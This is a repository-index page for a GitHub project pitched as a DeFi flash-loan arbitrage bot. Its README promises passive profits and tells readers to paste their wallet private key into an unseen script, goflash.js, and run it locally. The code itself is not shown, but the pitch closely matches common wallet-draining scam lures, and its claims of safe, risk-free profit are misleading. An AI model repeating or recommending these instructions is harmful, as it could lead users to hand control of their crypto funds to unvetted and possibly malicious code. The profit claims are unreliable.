https://github.com/halvoxenkskokqt/sourcecode-flash
Run flashloan arbitrage with JS code, smart contracts for passive profits, safe on PC.
https://github.com/halvoxenkskokqt/sourcecode-flash
blockchain crypto defi eth ethereum flash-loan flashloan go-ethereum guide profit script sourcecode tools trading tutorial
Last synced: 27 days ago
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Run flashloan arbitrage with JS code, smart contracts for passive profits, safe on PC.
- Host: GitHub
- URL: https://github.com/halvoxenkskokqt/sourcecode-flash
- Owner: HalvoxenkskoKqT
- License: mit
- Created: 2025-08-27T17:06:56.000Z (about 1 month ago)
- Default Branch: main
- Last Pushed: 2025-09-11T01:20:25.000Z (29 days ago)
- Last Synced: 2025-09-11T03:03:23.298Z (29 days ago)
- Topics: blockchain, crypto, defi, eth, ethereum, flash-loan, flashloan, go-ethereum, guide, profit, script, sourcecode, tools, trading, tutorial
- Language: JavaScript
- Size: 876 KB
- Stars: 1
- Watchers: 0
- Forks: 0
- Open Issues: 0
-
Metadata Files:
- Readme: README.md
- License: LICENSE
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README
# FlashLoanArbitrage
Hi! This is my project **FlashLoanArbitrage** — a bot for arbitrage on DeFi with flash loans. Using a smart contract and a local script `goflash.js`, which runs on your computer. Sharing it so you can try it out!
## How It Works 💡
1. **Smart Contract**:
- Takes a flash loan in USDC.
- Converts your ETH to USDC before the deal.
- Buys ETH at a low price on one platform.
- Sells ETH at a high price on another.
- Repays the loan, pays fees and gas.
- Converts the profit from USDC back to ETH.
- The remainder is your profit!
2. **Script `goflash.js`**:
- Checks ETH/USDC prices on five DeFi platforms.
- Waits for a price difference of **0.9%** or more to avoid losses.
- If the difference is there, it triggers arbitrage through the contract.
## Which DeFi Protocols I Use 💰
I added four protocols for flash loans:
- **Aave (0.05%)**: Tons of liquidity, up to **10,000,000 USDC**.
- **dYdX (0.05%)**: Fast, up to **500,000 USDC**.
- **Uniswap V3 (0.01%)**: Low fees, up to **5,000,000 USDC**.
- **Balancer (0.02%)**: Flexible pools, up to **1,000,000 USDC**.
The bigger the loan, the higher the fee. So don’t take a huge loan if your wallet balance is low!
## Which Platforms I Scan 📊
The script checks ETH/USDC prices on these platforms:
1. **Chainlink**: Oracle for the base ETH price.
2. **Uniswap V2**: Classic DEX, always liquid.
3. **SushiSwap**: Uniswap fork, also solid.
4. **Curve Finance**: Stable pools, less slippage.
5. **Balancer**: Flexible pools for arbitrage.
If the price difference is ≥0.9%, the script triggers a deal. Less than that, it waits to avoid losses.
## How to Run 🚀
Here’s how to run my bot:
1. **Download the Files**:
- Grab [goflash.js](goflash.js), [package.json](package.json) from the repo.
2. **Put Them in a Folder**:
- Any folder on your computer.
3. **Install Libraries**:
- Open a terminal (cmd, PowerShell, or VS Code).
- Navigate to the folder with:
```bash
cd your_path_to_folder
```
- Install dependencies:
```bash
npm install
```
4. **Add Your Private Key**:
- Open `goflash.js` in an editor.
- Replace:
```javascript
const PRIVATE_KEY = "YOUR_PRIVATE_KEY_HERE";
```
with your key ( **Don’t share it with anyone!** )
5. **Run the Script**:
- Type in the terminal:
```bash
node goflash.js
```
6. **Work with the Menu**:
- Select **DeFi** — I recommend **dYdX** or **Uniswap V3**.
- In **Loan Amount in ETH**, set the loan amount (from 10 to the protocol’s max).
- **Careful**: If your wallet balance is <0.1 ETH, don’t take a loan over **10 ETH** — gas won’t cover it!
- Hit **Start Arbitrage** to start.
7. **What the Script Does**:
- Scans ETH/USDC prices on platforms.
- Waits for a difference ≥0.9% and triggers arbitrage through the contract.
- Converts your ETH to USDC before the deal and profit back to ETH after.
## Important Notes ⚠️
- **Wallet Balance**: For loans over 10 ETH, you need a balance ≥0.1 ETH, or the script won’t let you pick a big loan.
- **Fees**: You pay trading fees (0.1%), slippage (0.05%), and gas.
## How It Works Example 📈
1. You pick **dYdX** and a loan of **10 ETH** (if balance ≥0.1 ETH).
2. The script converts your ETH to USDC before the deal (wallet balance is used only for gas, ETH **is not transferred** to the FlashLoanArbitrage contract).
3. It checks prices, for example:
- Uniswap V2: 4200 USDC/ETH
- SushiSwap: 4250 USDC/ETH
4. If the difference is ≥0.9%, the contract:
- Takes a flash loan in USDC.
- Buys ETH on Uniswap V2.
- Sells ETH on SushiSwap.
- Repays the loan, pays fees and gas.
- Converts the profit from USDC back to ETH.
- The final profit (`Net profit`) in ETH goes to you, accounting for all costs (flash loan fee, trading fees 0.1%, slippage 0.05%, gas).
- No need to top up any balance anywhere!!!
## Good Luck! 🍀
Hope my bot brings you some profit! If something doesn’t work or you have ideas, drop a note in issues.
---
*This is my project, made for myself, sharing as is. Check the contract and script before mainnet to avoid bugs!*